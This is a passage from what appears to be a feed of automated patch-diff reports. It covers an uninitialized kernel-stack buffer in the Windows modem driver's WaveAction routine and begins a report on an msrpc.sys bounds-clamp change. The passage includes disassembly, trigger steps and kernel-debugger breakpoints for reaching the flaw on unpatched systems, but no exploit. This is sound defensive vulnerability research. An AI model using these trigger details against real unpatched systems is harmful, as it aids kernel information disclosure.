&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000110A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-40h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000110E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-60h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001112&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="no"&gt;B0024h&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; IoControl&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001118&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;InSize&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; InSize = 0x24&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000111C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; RequestorMode = KernelMode&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000111E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KsSynchronousIoControlDevice&lt;/span&gt;
&lt;span class="c1"&gt;;                 buffer[0x00..0x17] and [0x20..0x23] are still uninitialized here&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001125&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000112A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000112C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000113B&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000112E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_24&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001133&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C0000001h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001138&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000113B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001140&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001143&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;__security_check_cookie&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001148&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000114F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched &lt;code&gt;WaveAction @ 0x1C00011D8&lt;/code&gt; — the added zero-initialization (verbatim)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00011F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-40h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; zero buffer[0x00..0x07]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00011FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; zero buffer[0x20..0x23]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001203&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; zero BytesReturned&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001208&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xorps&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0001238&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movdqu&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_38&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; zero buffer[0x08..0x17]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After these writes the patched build sets &lt;code&gt;buffer[0x18] = 1&lt;/code&gt; and &lt;code&gt;buffer[0x1C] = a2&lt;/code&gt; exactly as before, then issues the same &lt;code&gt;KsSynchronousIoControlDevice(a1, 0, 0x2B0024, &amp;amp;buf, 0x24, &amp;amp;buf, 0x24, &amp;amp;BytesReturned)&lt;/code&gt; call at &lt;code&gt;0x1C000123E&lt;/code&gt;. The security-cookie prologue/epilogue (&lt;code&gt;__security_cookie&lt;/code&gt; / &lt;code&gt;__security_check_cookie&lt;/code&gt;) is present in both builds and is unchanged in behavior.&lt;/p&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Obtain a handle:&lt;/strong&gt; Open a handle to the modem Kernel Streaming (KS) device interface.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a Pin:&lt;/strong&gt; Establish a pin object on the KS filter (&lt;code&gt;KsCreatePin&lt;/code&gt; / &lt;code&gt;KSPROPERTY_CONNECTION&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue State Transition:&lt;/strong&gt; Send &lt;code&gt;IOCTL_KS_PROPERTY&lt;/code&gt; with &lt;code&gt;KSPROPERTY_CONNECTION_STATE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reaching values:&lt;/strong&gt; Set the target state to &lt;code&gt;KSSTATE_RUN&lt;/code&gt; (3) or &lt;code&gt;KSSTATE_PAUSE&lt;/code&gt; (2). RUN routes through &lt;code&gt;StartStream&lt;/code&gt;, PAUSE through &lt;code&gt;StopStream&lt;/code&gt;; both call &lt;code&gt;WaveAction&lt;/code&gt;. (State &lt;code&gt;KSSTATE_STOP&lt;/code&gt; = 0 routes to &lt;code&gt;ReleaseDevice&lt;/code&gt; and does &lt;strong&gt;not&lt;/strong&gt; reach &lt;code&gt;WaveAction&lt;/code&gt;.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution Flow:&lt;/strong&gt; &lt;code&gt;PinDeviceState&lt;/code&gt; dispatches to the state handler, which calls &lt;code&gt;WaveAction&lt;/code&gt;, which issues IOCTL &lt;code&gt;0x2B0024&lt;/code&gt; to the lower device.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; No crash occurs from this path itself. The lower modem device receives a synchronous IOCTL whose input buffer contains uninitialized stack bytes in offsets &lt;code&gt;0x00&lt;/code&gt;–&lt;code&gt;0x17&lt;/code&gt; and &lt;code&gt;0x20&lt;/code&gt;–&lt;code&gt;0x23&lt;/code&gt;. This can be confirmed by breaking on the call in a kernel debugger and dumping the buffer pointed to by &lt;code&gt;r9&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Provable primitive:&lt;/strong&gt; Use of uninitialized kernel stack memory (CWE-908). 28 of the 36 buffer bytes are uninitialized when the IOCTL is dispatched to the lower device.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boundary crossed:&lt;/strong&gt; The uninitialized bytes leave &lt;code&gt;WaveAction&lt;/code&gt; inside a &lt;code&gt;METHOD_BUFFERED&lt;/code&gt; IOCTL and are copied into the lower device's system buffer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disclosure to an attacker is not demonstrated:&lt;/strong&gt; The recipient is a trusted lower device in the modem stack. For the residue to become an information leak an attacker could read, that lower device would have to reflect or return the input bytes toward user mode. No such reflection is present in this binary, so a kernel-address/KASLR disclosure primitive cannot be substantiated from these two builds. This is why the finding is rated Low rather than Medium/High.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What the patch changes:&lt;/strong&gt; the entire 0x24 buffer is zero-initialized before the call, so only the two intended fields (&lt;code&gt;0x18&lt;/code&gt; and &lt;code&gt;0x1C&lt;/code&gt;) carry non-zero values and no stack residue is transmitted.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;To observe the uninitialized buffer on an unpatched system with a kernel debugger:&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp modemcsa_unpatched!WaveAction            ; 0x1C00010D0, function entry
bp 0x1C000111E                              ; the KsSynchronousIoControlDevice call site
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;p&gt;At &lt;code&gt;0x1C000111E&lt;/code&gt;:
- &lt;strong&gt;&lt;code&gt;r8d&lt;/code&gt;&lt;/strong&gt; = &lt;code&gt;0x2B0024&lt;/code&gt; (IOCTL code, confirms the call site).
- &lt;strong&gt;&lt;code&gt;r9&lt;/code&gt;&lt;/strong&gt; = pointer to the input buffer (&lt;code&gt;[r11-0x40]&lt;/code&gt;).
- &lt;strong&gt;&lt;code&gt;db r9 l24&lt;/code&gt;&lt;/strong&gt; dumps the 36-byte buffer. Offsets &lt;code&gt;0x00&lt;/code&gt;–&lt;code&gt;0x17&lt;/code&gt; and &lt;code&gt;0x20&lt;/code&gt;–&lt;code&gt;0x23&lt;/code&gt; hold stack residue in the unpatched build (zero in the patched build); offset &lt;code&gt;0x18&lt;/code&gt; reads &lt;code&gt;01 00 00 00&lt;/code&gt;; offset &lt;code&gt;0x1C&lt;/code&gt; holds the action code (&lt;code&gt;02&lt;/code&gt; from the RUN path, &lt;code&gt;04&lt;/code&gt; from the PAUSE path).&lt;/p&gt;
&lt;h3&gt;Key Instructions/Offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0x1C00010FE&lt;/code&gt;&lt;/strong&gt; &lt;code&gt;mov [rsp+88h+var_28], 1&lt;/code&gt; — the only pre-call write to the buffer besides the action code (&lt;code&gt;0x1C00010ED&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;0x1C000111E&lt;/code&gt;&lt;/strong&gt; &lt;code&gt;call cs:__imp_KsSynchronousIoControlDevice&lt;/code&gt; — dispatches the IOCTL with the partially uninitialized buffer.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Reaching the code&lt;/h3&gt;
&lt;p&gt;Drive a &lt;code&gt;KSPROPERTY_CONNECTION_STATE&lt;/code&gt; set to &lt;code&gt;KSSTATE_RUN&lt;/code&gt; (3) or &lt;code&gt;KSSTATE_PAUSE&lt;/code&gt; (2) on an open pin; &lt;code&gt;PinDeviceState&lt;/code&gt; will route to &lt;code&gt;StartStream&lt;/code&gt; / &lt;code&gt;StopStream&lt;/code&gt;, which call &lt;code&gt;WaveAction&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;p&gt;By content, the only security-relevant change is &lt;code&gt;WaveAction&lt;/code&gt; (Section 2). The remaining differences are compiler code generation and pool-API modernization:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pool API modernization (&lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; → &lt;code&gt;ExAllocatePool2&lt;/code&gt;).&lt;/strong&gt; The newer form returns zeroed pool by default, so paired explicit &lt;code&gt;memset&lt;/code&gt; calls are dropped. Observed in &lt;code&gt;AllocateIrpForModem&lt;/code&gt;, &lt;code&gt;AllocateStreamIrp&lt;/code&gt;, &lt;code&gt;InitializeDevIoPin&lt;/code&gt;, &lt;code&gt;FilterDispatchCreate&lt;/code&gt;, &lt;code&gt;GetModemDeviceName&lt;/code&gt;, and &lt;code&gt;DriverEntry&lt;/code&gt;. In &lt;code&gt;GetModemDeviceName&lt;/code&gt; the allocation size is still the length returned by the first &lt;code&gt;QueryPdoInformation&lt;/code&gt; call (&lt;code&gt;edx&lt;/code&gt; from &lt;code&gt;[rsp+arg_10]&lt;/code&gt; at &lt;code&gt;0x1C00095DC&lt;/code&gt;); the decompiler's collapsed argument list is a display artifact, not a zero-size allocation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;memset/memcpy recompiled to SIMD paths.&lt;/strong&gt; &lt;code&gt;memset&lt;/code&gt;, &lt;code&gt;memmove&lt;/code&gt;, and the added helper stubs &lt;code&gt;__memset_query&lt;/code&gt; / &lt;code&gt;__memset_repmovs&lt;/code&gt; reflect a library/runtime rebuild with CPU feature detection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Compiler restructuring (goto-chains → if/else, register reallocation, counter-based → pointer-based loops), no logic change.&lt;/strong&gt; &lt;code&gt;PinDeviceState&lt;/code&gt; (state dispatch), &lt;code&gt;AcquireDevice&lt;/code&gt; (control-flow reshuffle plus a &lt;code&gt;DeviceObject = nullptr&lt;/code&gt; init of a BYREF out-param that is never read afterward), &lt;code&gt;ProcessReadStreamIrp&lt;/code&gt; and &lt;code&gt;WriteStream&lt;/code&gt; (audio sample conversion loops re-emitted with equivalent bounds), &lt;code&gt;ProcessWriteIrps&lt;/code&gt; (inline &lt;code&gt;memset(...,0,0x38)&lt;/code&gt; re-emitted as &lt;code&gt;_OWORD&lt;/code&gt; stores of the same extent), &lt;code&gt;StartStream&lt;/code&gt;, &lt;code&gt;OpenDuplexControl&lt;/code&gt;, &lt;code&gt;PinDispatchCreate&lt;/code&gt; (same &lt;code&gt;KsValidateConnectRequest&lt;/code&gt; checks; &lt;code&gt;Connect&lt;/code&gt; renamed and pre-nulled), &lt;code&gt;PnpAddDevice&lt;/code&gt; (device-interface state check re-emitted as a short-circuit condition, same logic), &lt;code&gt;FilterReadCompletion&lt;/code&gt;, &lt;code&gt;InitializeDuplexControl&lt;/code&gt;, &lt;code&gt;InitializeBufferControl&lt;/code&gt;, &lt;code&gt;QueryPdoInformation&lt;/code&gt; (added stack-event zeroing before use), &lt;code&gt;FilterPinIntersection&lt;/code&gt;, and &lt;code&gt;__GSHandlerCheckCommon&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;9. Unmatched / Added Functions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Removed:&lt;/strong&gt; 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Added (patched only):&lt;/strong&gt; 4 compiler/runtime helper stubs — &lt;code&gt;__cpu_features_init&lt;/code&gt;, &lt;code&gt;_guard_xfg_dispatch_icall_nop&lt;/code&gt;, &lt;code&gt;__memset_query&lt;/code&gt;, &lt;code&gt;__memset_repmovs&lt;/code&gt;. These are toolchain/CFG-runtime artifacts of the newer build, not driver logic changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No driver functions were added or deleted; all logic differences are inline modifications within functions present in both builds.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the mechanism. The unpatched decompilation and disassembly both show only &lt;code&gt;buffer[0x18]&lt;/code&gt; and &lt;code&gt;buffer[0x1C]&lt;/code&gt; initialized before the IOCTL, and the patched build adds the zeroing of &lt;code&gt;buffer[0x00..0x17]&lt;/code&gt; and &lt;code&gt;buffer[0x20..0x23]&lt;/code&gt; (&lt;code&gt;and&lt;/code&gt;/&lt;code&gt;xorps&lt;/code&gt;/&lt;code&gt;movdqu&lt;/code&gt;) directly resolving the CWE-908 issue. The unpatched build is the vulnerable one; the patched build is stricter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity rationale:&lt;/strong&gt; Rated Low because, while uninitialized kernel stack memory demonstrably crosses a device boundary, disclosure of that memory to a lower-privileged attacker is not demonstrated in these binaries — it would require the lower device to reflect the input back toward user mode. If, in a specific deployment, the lower device is shown to return these bytes to an unprivileged caller, the impact would rise to Medium (kernel information disclosure, CWE-200).&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>msrpc.sys — Endpoint-map lookup tower-count clamp made unconditional (CWE-125), out-of-bounds free-loop hardening fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/msrpc_6f5dc148-msrpc-report-20260629-142356.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/msrpc_6f5dc148-msrpc-report-20260629-142356.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msrpc_unpatched.sys&lt;/code&gt; (kernel RPC runtime)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;msrpc_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.985&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1055&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions (logic)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1054&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched / patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; A single logic change in &lt;code&gt;EP_LOOKUP_DATA::FreeOldLookupData&lt;/code&gt; (unpatched &lt;code&gt;0x1C0033FEC&lt;/code&gt; → patched &lt;code&gt;0x1C00331EC&lt;/code&gt;). Unpatched, the clamp that caps the tower-pointer array count at &lt;code&gt;this+0x2F8&lt;/code&gt; to 4 was wrapped in a WIL feature-staging gate (&lt;code&gt;Feature_666052921__private_IsEnabledDeviceUsage&lt;/code&gt;); when that feature evaluated as disabled the clamp was skipped. The patch removes the gate and makes the clamp unconditional, so the cleanup loop over the fixed 4-slot array at &lt;code&gt;this+0x2D8&lt;/code&gt; can never iterate past its bounds regardless of feature state. This is a defense-in-depth hardening: the count originates from an endpoint-mapper RPC reply and is already bounded by NDR array validation present in both builds, so no attacker-reachable out-of-bounds primitive is demonstrated. Direction is correct (the patched build is the stricter one).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — Low Severity (defense-in-depth hardening)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; Conditional bounds clamp made unconditional. Guards a potential out-of-bounds read (CWE-125) of an in-pool pointer array whose entries are freed with &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;EP_LOOKUP_DATA::FreeOldLookupData&lt;/code&gt; (cleanup of a client endpoint-map lookup).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What the clamp protects:&lt;/strong&gt; the cleanup loop that frees the tower-pointer array at &lt;code&gt;this+0x2D8&lt;/code&gt; (four 8-byte slots) using the count stored at &lt;code&gt;this+0x2F8&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
